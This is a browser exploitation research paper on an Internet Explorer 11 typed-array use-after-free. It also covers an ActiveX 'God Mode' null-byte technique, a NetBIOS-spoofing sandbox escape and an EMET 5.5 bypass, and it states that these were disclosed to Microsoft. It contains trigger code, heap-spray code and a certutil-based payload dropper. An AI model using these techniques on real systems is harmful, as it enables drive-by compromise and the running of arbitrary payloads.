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1. Introduction 

The latest version of Internet Explorer 11 running on Windows 10 comes with a plethora of exploit mitigations 

which try to put a spoke in an attacker’s wheel. Although Microsoft just recently introduced their new flag 

ship browser Edge, when it comes to exploit mitigations many of the mitigations found in Edge are also 

present in the latest version of Internet Explorer 11. The goal of these mitigations is to make exploit 

development as hard and costly as possible. Some mitigations which usually need to be overcome are ASLR, 

DEP, CFG, Isolated Heap and Memory Protector to just name a few. If you managed to bypass all of these 

and you successfully turned your bug(s) into remote code execution, you are trapped inside a sandbox which 

needs to be escaped. This might require even more bugs and in the case of a kernel vulnerability you are 

confronted with all the kernel exploit mitigations such as Kernel DEP, KASLR, SMEP, NULL Pointer 

Dereference Protection and so on. If you then aim for an exploit which continues working under the presence 

of Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) things get even more interesting. 

Although all of this can make the exploit development process really tough, with the right vulnerability at 

hand it’s still possible to develop working exploits without caring too much about most of these mitigations. 

This is particularly true if you don’t go the standard route of ROPing into your shellcode but reuse existing 

functionality inside the browser itself for remote code execution. 

In this paper we describe the details about a vulnerability we identified in the JavaScript implementation of 

Internet Explorer 11 and how we managed to successfully develop a reliable exploit for IE 11 (64-bit with 

EPM-enabled) running on Windows 10 including a sandbox escape and a way to bypass the latest version of 

EMET 5.5 as well without executing any shellcode or ROP gadgets at all. 

We have been awarded the highest bounty payout of $100,000 for this work by Microsoft as part of their 

Mitigation Bypass Bounty program. This paper describes all the used vulnerabilities and techniques which 

were part of our submission. 

The analysis described in this paper was performed on a fully-patched Windows 10 (10.0.10586) as of 

February 2016 and is based on the 64-bit versions of the respective binaries if not stated otherwise. 
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2. Typed Array Neutering Vulnerability 

This chapter describes the vulnerability that we exploited in order to get initial code execution within the IE 

11 sandbox. In order to understand the vulnerability we first need to know about two basic JavaScript 

constructs, namely Web Workers and Typed Arrays. These are described in the next two sections. 

2.1. Web Workers 

First of all the exploit makes use of Web Workers [1]. The Web Workers API allows web content to run 

concurrent threads of JavaScript code in the background. The JavaScript code in the worker thread is running 

in another global context, so it can’t access the DOM directly. Creating a worker is as simple as calling the 

Worker() constructor with a JavaScript filename to be executed. 

For the main thread to communicate with a worker, message passing is used. To send a message between 

the main thread and a worker the postMessage() [2] method can be used. With a registered onmessage event 

handler messages can be received. The first argument of the postMessage() method is the object to be 

transferred. The second optional argument is an array of objects for which ownership should be transferred 

from the sending context to the worker it was sent to. Objects must implement the Transferable [3] interface. 

It is important to understand that objects for which ownership is transferred, become unusable (neutered) 

in the sending context and become available only in the receiving worker context. 

2.2. Typed Arrays 

Typed arrays are array-like objects and provide a way for accessing raw binary data. The implementation is 

split between “buffers” and “views”. A buffer is implemented by the ArrayBuffer [4] object and it stores the 

raw data to be accessed. However, the ArrayBuffer object can’t be used directly to access the data. 

In order to access the data, you need to use a view. A view can be thought of as a type cast of the underlying 

buffer. Different views for all the usual numeric types are available. Examples are the Uint8Array, Uint16Array 

or Uint32Array objects. 

Every typed array object references its underlying ArrayBuffer object with the “buffer” property. This 

property is set when the typed array is constructed and can’t be changed afterwards. 
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2.3. Vulnerability Details 

Let’s take a look at the JavaScript code which triggers the vulnerability: 

The code first constructs a new Web Worker and creates a new typed array. The call to the postMessage() 

method will transfers the ownership of the ArrayBuffer associated with the previously created typed array 

to the worker. This will effectively neuter the ArrayBuffer in the current thread’s context and thus free the 

memory pointed to by the ArrayBuffer. 

The code doesn’t take into account that the ArrayBuffer is still associated with the typed array which is still 

accessible in the current context. Every read or write operation through the typed array will still access the 

freed memory. 

This is a pretty neat scenario because by varying the size of the created typed array we control the length of 

the chunk of memory to be freed. This effectively allows us to get full read/write access to arbitrary objects 

allocated on the same heap as the ArrayBuffer’s memory. We first create a typed array of the correct size, 

free the underlying memory by transferring ownership of the ArrayBuffer to the worker and then create the 

target object which will likely re-use the freed chunk of memory. 

var array; 
 
function trigger() { 
 /* Create an empty Worker */ 
 var worker = new Worker("empty.js"); 
 
 /* Create new Int8Array typed array */ 
 array = new Int8Array(0x42); 
 
 /* 
  *  Transfer ownership of the underlying ArrayBuffer to the worker, 
  *  effectively neutering it in this process. 
  */ 
 worker.postMessage(0, [array.buffer]); 
 
 /* Give the memory a chance to disappear... */ 
 setTimeout("boom()", 1000); 
} 
 
function boom() { 
 /* This writes into the freed ArrayBuffer object */ 
 array[0x4141] = 0x42; 
} 
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3. Exploitation 

In order to exploit the vulnerability we first need to find an interesting object which we can manipulate in 

order to get a first foothold. First let’s take a look at where the memory of the ArrayBuffer is actually 

allocated. 

If we take a look at the jscript9!Js::JavascriptArrayBuffer::Create method, we can see that the code is actually 

using the malloc() routine to allocate the underlying memory inside the jscript9!Js::ArrayBuffer::ArrayBuffer() 

constructor. 

This means the freed memory we want to try to replace with a useful object is located on the CRT heap. This 

reduces the number of potentially useful objects because interesting objects to be modified like normal 

arrays or typed arrays are allocated on IE’s custom heap instead. 

3.1. Finding an Object to Replace 

In order to find some useful objects to manipulate we log all allocations which are performed with the 

RtlAllocateHeap function. 

We noticed that when a large amount of big Array objects are created, Internet Explorer would allocate 

several LargeHeapBlock objects all of the same size on the CRT heap. This can be observed with the following 

breakpoint: 

These objects build the foundation for IE’s custom heap and they store some management information for 

large heap blocks allocated on the custom heap. Some of the more important fields relevant for our 

discussion are listed below: 

Offset Description 

0x0 jscript9!LargeHeapBlock::`vftable' 

0x8 Pointer to data on IE’s custom heap 

0x10 Pointer to jscript9!PageSegment 

... ... 

0x40 Pointer to next jscript9!LargeHeapBlock 

... ... 

0x58 Forward pointer 

push    24h 
mov     ecx, esi         ; this 
call    Recycler::AllocFinalizedInlined 
push    ds:__imp__malloc ; void *(__cdecl *)(unsigned int) 
mov     esi, eax 
push    ebx              ; struct Js::DynamicType * 
push    edi              ; unsigned int 
mov     ecx, esi         ; this 
call    Js::ArrayBuffer::ArrayBuffer 

bp ntdll!RtlAllocateHeap "r $t0 = @rcx; r $t1 = @r8; gu; .printf \"Allocated %x bytes 
at %p on heap %x\\n\", @$t1, @rax, @$t0; g" 

bp jscript9!LargeHeapBucket::AddLargeHeapBlock+0xee ".printf \"Created LargeHeapBlock 
%p\\n\", @rax; g" 



Look Mom, I don’t use Shellcode | Browser Exploitation Case Study for Internet Explorer 11 

 

Version 1.0  7/26 

0x60 Backward pointer 

... ... 

0x70 Pointer to current LargeHeapBlock object 

... ... 

The LargeHeapBlock object stores several useful pointers. Among other things, a pointer to the allocated 

data on the custom heap is stored at offset 0x8. In the case that we trigger the allocation of LargeHeapBlock 

objects by creating several large Array objects, this pointer points directly to one of the allocated Array 

objects on the IE custom heap. 

Since we can easily trigger the allocation of LargeHeapBlock objects by creating a large amount of Array 

objects, and we know the size of the created LargeHeapBlock objects in advance, we chose to manipulate 

one of these objects. 

3.2. LargeHeapBlock Corruption 

So we can get full read and write access to LargeHeapBlock objects on the CRT heap. By reading the first 

QWORD we can make sure that we are really operating on a LargeHeapBlock object and we can also leak the 

base address of jscript9.dll. The next question is how to corrupt the object in order to achieve arbitrary code 

execution. 

During garbage collection the IE custom heap collects unused LargeHeapBlock objects. This process can be 

seen in the following code excerpt from the LargeHeapBucket::SweepLargeHeapBlockList function: 

This code walks over the linked list of LargeHeapBlock objects and calls the operator() function on every 

visited LargeHeapBlock object. 

Inside the operator() function a typical doubly linked list unlink operation is performed when the forward 

pointer at offset 0x58 and the backward pointer at offset 0x60 are set. The usual unlink algorithm is used 

which is shown below for the sake of completeness: 

This unlink operation does not provide any protection mechanisms similar to what can be found in modern 

heap allocator implementations. Thus by manipulating the forward and the backward pointer of a 

LargeHeapBlock object we can trigger a controlled write operation of an arbitrary QWORD at an arbitrary 

address. The only constraint we have is that the written value (back pointer) must be a valid address which 

is dereferenced in order to store the forward pointer. 

do { 
    next_heapblock = (struct LargeHeapBlock *)*((_QWORD *)current_heapblock + 8); 
    lambda_cedc91d37b267b7dc38a2323cbf64555_::operator()( 
        (LargeHeapBucket **)&bucket, (__int64)current_heapblock 
    ); 
    current_heapblock = next_heapblock; 
} while (next_heapblock); 

back = block->back; 
forward = block->forward; 
forward->back = back; 
back->forward = forward; 
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3.3. Crafting the Memory Layout 

By corrupting the forward and backward pointers of a LargeHeapBlock object at offset 0x58 and 0x60 

respectively as described in the previous section we are able to perform a controlled write operation of a 

pointer to a chosen address. In order to be able to read and write the whole address space and also to leak 

arbitrary JavaScript objects, we need to build a more powerful primitive out of this. 

Typed arrays are an interesting target because they store an internal pointer to the actual data buffer and 

the size of the data buffer. By overwriting the data buffer pointer and the size we can easily gain read/write 

access to arbitrary addresses. However, we first need to leak the address of a typed array in memory to be 

able to corrupt it. 

The LargeHeapBlock objects are only created for large Array objects and not for typed arrays, because the 

memory of typed arrays is allocated on the CRT heap directly. Therefore, we can’t leak the address of a typed 

array directly. However, by placing an integer array and an array of typed arrays adjacent in memory and 

making sure that one of the typed arrays is allocated somewhere after the integer array, we could first 

corrupt the length of the integer array object in order to gain access to the adjacent array of typed arrays. 

This way we could leak the address of one of the stored typed arrays and then re-use the corrupted integer 

array to modify this typed array. In the end, we are aiming for a memory layout as depicted in the following 

figure: 

 

On the left side you can see all the memory which is allocated on the CRT heap while on the right side all IE 

custom heap allocations are shown. As can be seen, LargeHeapBlock objects as well as the data buffers of 

typed arrays are allocated on the CRT heap. Arrays as well as the typed arrays are allocated on the IE custom 

heap. 
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Typed array pointer 0
Typed array pointer 1

…

Typed array
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The LargeHeapBlock objects have references to all the array objects on the IE custom heap. This includes 

references to the two integer arrays as well as to the array of typed arrays. By leaking these pointers from 

the LargeHeapBlock objects we can on the one hand verify that we successfully created the desired heap 

layout and on the other hand calculate the exact distance between the array objects on the custom heap 

which is required in order to access the other objects from the first integer array. 

The desired memory layout on the custom heap is an integer array, followed by an array of typed arrays, 

followed by one of the referenced typed arrays, finally followed by another integer array. We just alternate 

between allocating arrays of integers and arrays of typed arrays in the hope to create the desired memory 

layout. The following JavaScript code performs this task: 

After allocating a bunch of arrays we check if we successfully created the desired memory layout and if not, 

we just repeat the process until we are successful. 

In order to manipulate a typed array for full read/write access to the whole address space, we first use the 

unlink write primitive to corrupt the length of the first integer array on the custom heap to extend its size to 

cover the memory of the array of typed arrays as well as the typed array object itself. Using the corrupted 

integer array, we then leak a pointer to a typed array from the adjacent array of typed arrays and finally 

overwrite the size field and data pointer of the typed array again using the corrupted integer array. 

The second integer array at the end is required in order to reliably extend the first integer array without 

corrupting unrelated memory. This will be further explained in the next section. 

3.4. Extending the first Array 

In the first step we need to corrupt the first integer array in order to extend its size to cover the following 

objects in memory. Let’s have a look at a typical Array object in memory: 

for (var i = 0; i < NUMBER_ARRAYS; i++) { 
 /* Allocate an array of integers */ 
 array_int[i] = new Array((ARRAY_LENGTH - 0x20)/4); 
 
 /* Fill array with noticeable pattern to detect successful corruption */ 
 for (var j = 0; j < array_int[i].length; ++j) { 
  array_int[i][j] = MAGIC_VALUE; 
 } 
 
 /* Create new typed array */ 
 var uint8array = new Uint8Array(4); 
 
 /* Allocate an array of typed array references */ 
 array_obj[i] = new Array((ARRAY_LENGTH - 0x20)/4); 
 for (var j = 0; j < array_obj[i].length; ++j) { 
  array_obj[i][j] = uint8array; 
 } 
} 
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The DWORD highlighted in red represents the number of bytes allocated for the Array object. The number 

highlighted in purple is the array length and the number highlighted in blue is the reserved length of the 

array. The values highlighted in grey represent the array elements. 

JavaScript arrays grow dynamically. The array displayed above has already 42 (0x2a) elements assigned and 

is capable of storing 0x3ffa elements before it needs to be reallocated. We can overwrite the reserved length 

in order to write outside the bounds of the allocated array, however to be able to read values in memory 

after the allocated array, we also need to adjust the array length by assigning a value to an index above the 

initial array length which will automatically extend the array. 

So we are using our unlink write primitive to overwrite the reserved length of the first integer array. In order 

to do this we set the forward pointer to the address of the reserved length of the Array (minus 8) and the 

backward pointer to the address of the first element inside the Array. This way we overwrite the reserved 

length of the Array with a pointer which is guaranteed to increase the length by a large factor and due to the 

side effect of the unlink operation, we overwrite the first element of the Array as well. This side effect is 

actually very useful because we can use it to find the JavaScript Array which we corrupted by checking if the 

first element still contains the original value. 

Although this corrupted array now allows us to write to the memory following the array, in order to read the 

memory we first need to write at an index above the one we want to read. That’s the reason for the second 

integer array we want to place at the end. After we corrupted the reserved length of the first integer array 

we use that array to write a dummy value to the index which exactly corresponds to the memory address of 

the first element of the second integer array. We can easily check the success of this operation and 

afterwards can be sure that we are able to read and write all the memory between the first and second 

integer array successfully. 

3.5. Getting Full Address Space Access 

Now that we have read and write access to the array of typed arrays, we can first leak a pointer to one of the 

referenced typed arrays and check that it’s really allocated between the two integer arrays. If we can’t find 

such a typed array, we just restart the whole process and allocate new arrays until we successfully created 

the required memory layout. 

Using the first corrupted integer array we can now overwrite the size and the raw data pointer of the typed 

array. We have the constraint that we can’t write values larger 0x7fffffff using the corrupted integer array. 

In order to still be able to read and write every address in the address space, we just set the size to the 

maximum value of 0x7fffffff and dynamically set the data pointer for every read/write operation to the 

desired address using two writes. For addresses where the lower DWORD is larger 0x7fffffff, we set the 

0:018> dd 0x20564d60000 
00000205`64d60000  00000000 00000000 00010000 00000000 
00000205`64d60010  00000000 00000000 00000000 00000000 
00000205`64d60020  00000000 0000002a 00003ffa 00000000 
00000205`64d60030  00000000 00000000 66666666 66666666 
00000205`64d60040  66666666 66666666 66666666 66666666 
00000205`64d60050  66666666 66666666 66666666 66666666 
00000205`64d60060  66666666 66666666 66666666 66666666 
00000205`64d60070  66666666 66666666 66666666 66666666 
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pointer to a lower address in memory and just adjust the used index for the typed array accordingly. This 

way we transparently work around the limitation. 

Using this new primitive we can not only read and write the whole address space, but we can also leak the 

address of arbitrary JavaScript objects by placing them into the array of typed arrays and then access the 

respective array element using the first corrupted integer array. 

Now that we have this powerful primitive, the next step is to think about what we want to overwrite. 

3.6. Revival of God Mode 

The most obvious way would be to leak the address of an object in memory and overwrite its vftable pointer 

to gain control over the program flow. However, in that case we would need to bypass Control Flow Guard 

(CFG) first. Instead of corrupting function pointers we try to enable some functionality which is already 

present in Internet Explorer and provides us with the ability to execute arbitrary system commands, namely 

ActiveX controls. 

The technique of abusing ActiveX controls is not new and was previously publicly presented by Yang Yu [5] 

and Yuki Chen [6]. In the past the decision if an unsafe ActiveX control could be run without prompts solely 

relied on a single flag, namely the SafetyOption flag inside the ScriptEngine object. Setting this flag to 0 with 

a memory corruption bug would enable the capability to instantiate and run unsafe ActiveX controls. 

Microsoft tried to mitigate this technique in Internet Explorer 11 by introducing a 0x20-byte hash to protect 

the SafetyOption flag from being overwritten. However, the ultimate decision to enable God Mode would 

still depend on the return values of the two functions jscript9!ScriptEngine::CanCreateObject and 

jscript9!ScriptEngine::CanObjectRun [7]. Instead of overwriting the SafetyOption flag, the security manager 

reference in the ScriptEngine object could be replaced with a reference to a fake security manager object 

built in memory. In the vftable of the fake security manager object the two relevant function pointers could 

be replaced with references to ROP gadgets which would force the two functions 

jscript9!ScriptEngine::CanCreateObject  and jscript9!ScriptEngine::CanObjectRun to always return true. This 

technique was implemented in Yuki’s ExpLib2 library. 

This technique worked nicely in the past until Control Flow Guard (CFG) was introduced which broke the 

technique the way it was implemented in ExpLib2. 

However, taking a look at the ScriptEngine::CanCreateObject function in a current version of jscript9.dll on 

Windows 10 you’ll see that the ScriptEngine::GetSafetyOptions function, responsible for the protection hash 

generation, is no longer there and the SafetyOption flag is not protected anymore. Therefore, the original 

technique of just writing a single null byte seems to be possible again. 
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If we take a look at the beginning of ScriptEngine::CanCreateObject and ScriptEngine::CanObjectRun you’ll 

see that both functions check the SafetyOption flag at offset 0x384 in the ScriptEngine object. 

Setting this flag to 0 is enough to make both functions return true and successfully instantiate a WshShell 

object to execute arbitrary system commands using the following small JavaScript code snippet: 

This allows us to still enable the God Mode in recent versions of Internet Explorer and it’s even easier since 

we only need to write a single null byte and we can stop caring about most of the other exploit mitigations. 

3.7. Dropping the Payload 

After we enabled the God Mode we have several ways of actually dropping an executable on disk. One 

possibility would be to use the ADODB.Stream ActiveX control as nicely documented by Massimiliano 

Tomassoli in his Exploit Development Course [8]. However, this technique requires further modifications to 

bypass a same origin check. 

For our proof-of-concept we used the Scripting.FileSystemObject ActiveX control instead to write the payload 

in base64 encoded form to disk and then we used the WScript.Shell control to execute certutil.exe to do the 

base64 decoding and finally to execute the decoded payload itself. 

The following JavaScript excerpt shows how the payload is dropped and executed: 

var shell = new ActiveXObject("WScript.Shell"); 
shell.Exec("notepad.exe"); 
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/* Drop the base64 encoded payload on disk. */ 
var fso = new ActiveXObject("Scripting.FileSystemObject"); 
var fh = fso.CreateTextFile(payload_b64_path); 
fh.Write(base64_payload); 
fh.Close(); 
 
/* Decode the stored payload using certutil.exe and execute it. */ 
var shell = new ActiveXObject("WScript.Shell"); 
shell.Exec(certutil_path + " -decode " + payload_b64_path + " " + payload_path); 
shell.Exec(payload_path); 
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4. Sandbox Escape 

By default Internet Explorer 11 on Windows 10 does not enable Enhanced Protected Mode (EPM). We are 

trying to target the most secure configuration and thus we manually enabled EPM as well as 64-bit processes 

for EPM in the Advanced Security settings of Internet Explorer 11. 

After this configuration change, our exploit payload is running within the restricted AppContainer sandbox. 

In order to make changes to the system, we need a way to break out of the sandbox and execute code at a 

higher integrity level (IL) such as Medium IL or higher. 

4.1. Internet Explorer Zones 

Internet Explorer has the concept of zones. Different security settings apply to different zones. Web pages 

on the Internet are usually rendered in the Internet Zone while pages on the local intranet are rendered in 

the Local Intranet Zone. 

Even if you manually enable EPM as described above, EPM is not enabled for the Local Intranet Zone. That 

means any web page rendered in the Local Intranet Zone is loaded in a 32-bit Medium IL process outside the 

sandbox. 

This behavior is well known and was already exploited several [9] times [10] in the past to escape Internet 

Explorer’s Protected Mode. Previous attacks just started a local web server from within the sandboxed 

process and then redirected the browser to http://localhost/ to serve the same exploit a second time, but 

this time rendered in a Medium IL process outside the sandbox. 

Microsoft decided to not fix this issue but instead recommended [11] customers to enable EPM to help 

protect against exploitation of this sandbox escape. With EPM enabled, renderer processes are running in an 

AppContainer sandbox which provides among other things network isolation [12]. In particular, this prevents 

a sandboxed process from establishing connections to the local machine and additionally prevents it from 

accepting new network connections, which successfully mitigates the described attack. 

However, to perform the described attack we are not limited to the localhost domain name. If we manage 

to point any domain name which is considered to be part of the Local Intranet Zone to our external web 

http://localhost/
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server, we would still be able to render our page outside of the AppContainer sandbox at Medium IL. Internet 

Explorer determines that a site belongs to the Local Intranet Zone based on a number of rules [13]. One of 

them is the PlainHostName rule. If the hostname does not contain any periods, it is mapped to the Local 

Intranet Zone automatically. 

So the question is how to register a new domain name without periods which points to the external IP address 

of our web server from within the sandbox. It turns out this can be achieved via local NetBIOS name spoofing. 

4.2. Local NetBIOS Name Spoofing 

The NetBIOS Name Service (NBNS) protocol is a broadcast UDP protocol used for name resolution on 

Windows. Typically when an application tries to resolve a domain name, a DNS lookup is performed. If the 

DNS lookup fails for some reason, Windows tries to resolve the name using the NBNS protocol. 

NetBIOS name spoofing is a well-known network-based attack but it was recently also used for local privilege 

escalation purposes on Windows in the Hot Potato [14] exploit. 

NBNS packets store a Transaction ID (TXID) which is used to match response packets to the correct request 

packets. A typical NBNS request packet for the domain name “BLUEFROST” is shown below: 

During a typical network-based NBNS spoofing attack, the attacker just responds to any NBNS request 

packets received on the local network. When performing local NBNS spoofing we can’t see the initial NBNS 

request packets, so we don’t know the 16-bit TXID which was used. However, by quickly flooding the local 

machine with NBNS response packets we can iterate over all possible 65536 TXID values and eventually guess 

the correct value. 

As previously explained the AppContainer network isolation prevents sandboxed processes from sending 

packets to the local machine. However, as it turns out there are some exceptions to this rule. In particular, 

sandboxed processes are still able to send UDP packets to the local port 137. This allows a sandboxed process 

to perform local NBNS spoofing. 
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We are using local NBNS spoofing to register a new domain name without periods with the external IP 

address of our web server. Afterwards we redirect the browser to our web server using the newly registered 

domain name. Although the web server is located somewhere on the Internet, the rendered page is now 

considered part of the Local Intranet Zone and thus the renderer process is running outside of the sandbox. 

We then just trigger the initial exploit again, but this time for 32-bit renderer processes and gain code 

execution at Medium IL outside of the sandbox. 

The screenshot above shows that we successfully spawned a new notepad.exe process running at Medium 

IL outside the sandbox. 
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5. Disabling EMET 

Much research has already been conducted in the past on either bypassing specific EMET protections or 

disabling EMET completely. A thorough collection of references to previous publications can be found in the 

recent FireEye blog post “Using EMET to Disable EMET” [15]. 

In contrast to most of the previous techniques, we have the special situation that we don’t yet have the 

ability to execute code when we need to bypass EMET in our exploit. Thus techniques which rely on executing 

certain ROP gadgets in order to disable EMET as e.g. documented in the previously mentioned FireEye article 

– although elegant – are not applicable in our case. 

However, we have a really powerful read/write primitive we can use in order to try to bypass specific EMET 

protections or disable EMET completely. 

In this section we take a look at the protection provided by EMET against the techniques used in our exploit 

and how we successfully bypassed the latest version of EMET 5.5. 

The following analysis is based on EMET64.dll version 5.5.5870.0. 

5.1. Attack Surface Reduction (ASR) 

When running the exploit with EMET 5.5 enabled, EMET detects and prevents the exploit with the warning 

“ASR check failed”. More details can be found in the event logs: 

This is the Attack Surface Reduction (ASR) feature of EMET that prevents the loading of certain modules or 

plugins, which are considered potentially dangerous. 

In particular, EMET stops the exploit when we try to instantiate the WScript.Shell ActiveX control 

(wshom.ocx) which is part of the EMET ASR black list. EMET detects the loading of the control via its 

LoadLibraryEx hooks. In order to quickly verify that ASR is the only feature which prevents our exploit from 

running, we removed the LoadLibraryEx hooks by patching the kernelbase!LoadLibraryEx* functions with a 

debugger at runtime and ran the exploit again. This time everything went smooth and the exploit worked 

successfully. That means we only need to bypass ASR in this case. 
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Now we need to find a way to disable these checks at runtime from our exploit with the read/write primitive 

which we have at that point in time. 

If we start tracing from the hooked kernelbase!LoadLibraryExW function, we end up in the function 

sub_1800864F0. The first thing this function does is to read the global variable stored at offset 136800 inside 

EMET64.dll. 

The read value is an encoded pointer which is decoded using DecodePointer and then another pointer is read 

from offset 0x28 of the decoded pointer which is dereferenced to compare the referenced flag against 0. If 

the flag is 0, all the following ASR LoadLibrary checks are bypassed. 

The pointer is protected by a call to EncodePointer which protects it with a secret value which is different for 

every process. The pointer located at offset 0x28 is stored in a heap-allocated structure where we don’t know 

the address of the allocation, and the memory location which stores the final flag is located at a page which 

is mapped read-only. This is all nicely documented in a blog post [16] by Offensive Security. 

Since we don’t have the ability to execute any code yet we can’t e.g. use ROP gadgets to disable or bypass 

any protections. We need to find a way to disable EMET by just reading and writing memory. Therefore, we 

focus on the global pointer which is protected by calls to EncodePointer and DecodePointer. 

5.2. Decoding Pointers 

Let’s have a look at how the EncodePointer and DecodePointer functions are implemented. The following 

figure shows the RtlDecodePointer function from ntdll.dll: 
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As can be seen the two functions are using a 32-bit secret value which is returned by the kernel via a call to 

ntdll!ZwQueryInformationProcess and is then used to encode or decode the pointer. That means we can't 

just steal the secret value with our read primitive and manually decode the pointer. 

The following pseudo code represents the operation performed by EncodePointer: 

The corresponding operation performed by DecodePointer is shown below: 

The >> operator represents a rolling right shift. Due to the fact that part of the secret key influences the 

number of bits the value is right shifted, we can't just take an encoded pointer and the corresponding plain 

pointer and XOR them to get the key. 

However, we can easily brute-force the secret key because there are at most 0x3f possible values for the 

right shift operation. We can just iterate through all possible values from 0 to 0x3f and perform the right shift 

operation with the encoded pointer. If we then XOR the result with the corresponding plaintext pointer we 

get a possible secret value. The following pseudo code demonstrates this algorithm: 

encoded_ptr = (secret ^ plain_ptr) >> (secret & 0x3f) 

plain_ptr = secret ^ (encoded_ptr >> (0x40 - (secret & 0x3f))) 

for (var i = 0; i < 0x3f; i++) { 
    var k = (encoded_ptr >> (0x40 - (i & 0x3f))) ^ plain_ptr; 
    if (encode_ptr(plain_ptr, k) == encoded_ptr) { 
        /* Found potential secret key k */ 
    } 
} 
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This will eventually guess the correct secret value. However, due to the property that encoding a pointer with 

different secret values can result in the same encoded pointer, there might be combinations where this will 

return multiple possible secret keys. This effect is even more noticeable for 32-bit processes than it is for 64-

bit processes. 

In order to increase the likelihood of guessing the correct secret value, we use at least two pairs of known 

encoded and plain pointers. We are brute-forcing possible secret values with one pair of pointers and use 

the second pair to verify the potential secret value by just encoding the plain pointer with the potential secret 

value and comparing the result against the known encoded pointer. This way we reduce the risk of secret 

key collisions to an acceptable level. 

5.3. Finding Pairs of Pointers 

Let’s see if we can find known pairs of encoded and plain pointers inside the EMET module which we could 

leak using our read primitive. If you take a look at all the calls to EncodePointer inside emet64.dll, you’ll 

notice that one of the first calls happens inside the function sub_180048110. Let's take a look at the start of 

that function: 

So this function encodes the NULL pointer and stores it at the location pointed to by the pointer passed as 

the first argument to that function. One of the places where this function is called is inside the 

sub_1800204B0 function as can be seen below: 
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The variable Ptr is a global variable in the .data segment of EMET64 at offset 0x135b80. 

A quick check with the debugger reveals that this value still stores the encoded NULL pointer when we hit 

the EMET ASR check. So we have our first pair of pointers. 

Another pair of encoded and plain pointers can be found by taking a look at the function sub_180081038. 

This function encodes the pointer passed as the first argument and it’s called only from a single place where 

the address of the function sub_180080B40 is passed as an argument. 
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This function pointer is encoded and stored at the address EMET64+1362a0(offset * 8) where offset is read 

from EMET64+0x135320. We can easily read these values using our read primitive to get a second pair of 

known encoded and plain pointers. 

This allows us to decode every encoded pointer in the whole iexplore.exe process. It does not only provide a 

generic way of disabling EMET, but it can also be used to completely nullify the protection provided by 

EncodePointer/DecodePointer in any process protected by EMET (assuming you already have a memory read 

primitive and the ability to leak the EMET base address). 

5.4. Leaking EMET Base Address 

In order to leak the EMET base address we make use of the fact that EMET hooks several known functions. 

One of them is NtProtectVirtualMemory from ntdll.dll. We first leak the base address of ntdll.dll by reading 

the address of the RtlCaptureContext function from the jscript9.dll imports section and then read the first 

OP codes at the beginning of NtProtectVirtualMemory. 
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By checking the first few bytes of that function, we can find out if the current process is protected by EMET 

or not. In order to leak the EMET base address, we decode the first two jmp instructions, which gives us the 

offset to an instruction which assigns an offset from within EMET64.dll to a register as shown below: 

By decoding the OP code of this register assignment instruction, we can calculate the EMET base address. 

5.5. Disabling ASR 

With the EMET base address and the ability to decode protected pointers, the first thought could be to just 

set the checked flag to the value 0 to bypass the ASR check. However, as mentioned above the memory page 

where the flag is stored is mapped read-only, so we have to replace the pointer to that memory location 

instead. 

Therefore, after leaking the EMET base address, we calculate the secret value used in the 

EncodePointer/DecodePointer protection as described above. With that secret value we then decode the 

global pointer at offset 0x136800 inside EMET64.dll and then overwrite the pointer at offset 0x28 in the 

referenced structure with a pointer to the value NULL. We just use the address EMET64+0x110ef8 for this 

purpose which points to the value NULL in the .rdata segment of EMET64.dll. 

Doing this, will successfully bypass the ASR EMET check and allow our exploit to run. The same technique can 

be used to disable other EMET checks as well if required.  
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6. Conclusion 

In this paper we described the complete exploit development process for a critical vulnerability we identified 

in the JavaScript implementation of Internet Explorer 11. We demonstrated how many existing exploit 

mitigations such as DEP or CFG can simply be bypassed by not going the typical route of using ROP gadgets 

and shellcode, but instead turning the vulnerability into a read/write primitive and then targeting existing 

functionality inside the browser to execute system commands. We described how this attack can easily be 

performed in the latest version of Internet Explorer 11 by just writing a single null byte. 

We presented a novel way to escape Internet Explorer’s Enhanced Protected Mode by using local NetBIOS 

name spoofing. We showed that even under the presence of EPM, the previously abused Local Intranet Zone 

can still be targeted to escape the Internet Explorer sandbox. 

Finally, we demonstrated how the latest version of EMET 5.5 can be bypassed and we show a way how the 

EncodePointer Windows protection as used in EMET can be overcome with a memory read primitive by 

calculating the secret value. The described technique can not only be used to disable EMET itself, but it can 

also be used more generically to nullify the protection provided by EncodePointer/DecodePointer in every 

process protected by EMET. 

All described vulnerabilities and techniques were reported to Microsoft as part of our Mitigation Bypass 

Bounty program submission. The Typed Array Neutering vulnerability (CVE-2016-3210) described in chapter 

2 was fixed in MS16-063. Interestingly the same vulnerability was already fixed in ChakraCore since its 

publication. 

The God Mode single null byte technique (CVE-2016-0188) described in section 3.6 was fixed in MS16-051. 

Microsoft mitigated the issue by introducing the use of the QueryProtectedPolicy API. 

The EPM sandbox escape using local NetBIOS name spoofing (CVE-2016-3213) described in chapter 4 was 

fixed in MS16-077. 

Lastly, the EMET bypass documented in chapter 5 is not fixed and Microsoft currently does not have plans to 

address it. 

The growing number and steady improvements of modern exploit mitigations on current versions of 

Windows noticeably increase the exploit development costs. However, with the right vulnerability at hand, 

many mitigations can still be bypassed in creative ways. In particular the use of data-only attacks – as 

demonstrated in this paper – allows an attacker to evade many mitigation. Although Microsoft started fixing 

some of the obvious targets, we expect more application-specific data-only attacks to be used in future 

exploits. 
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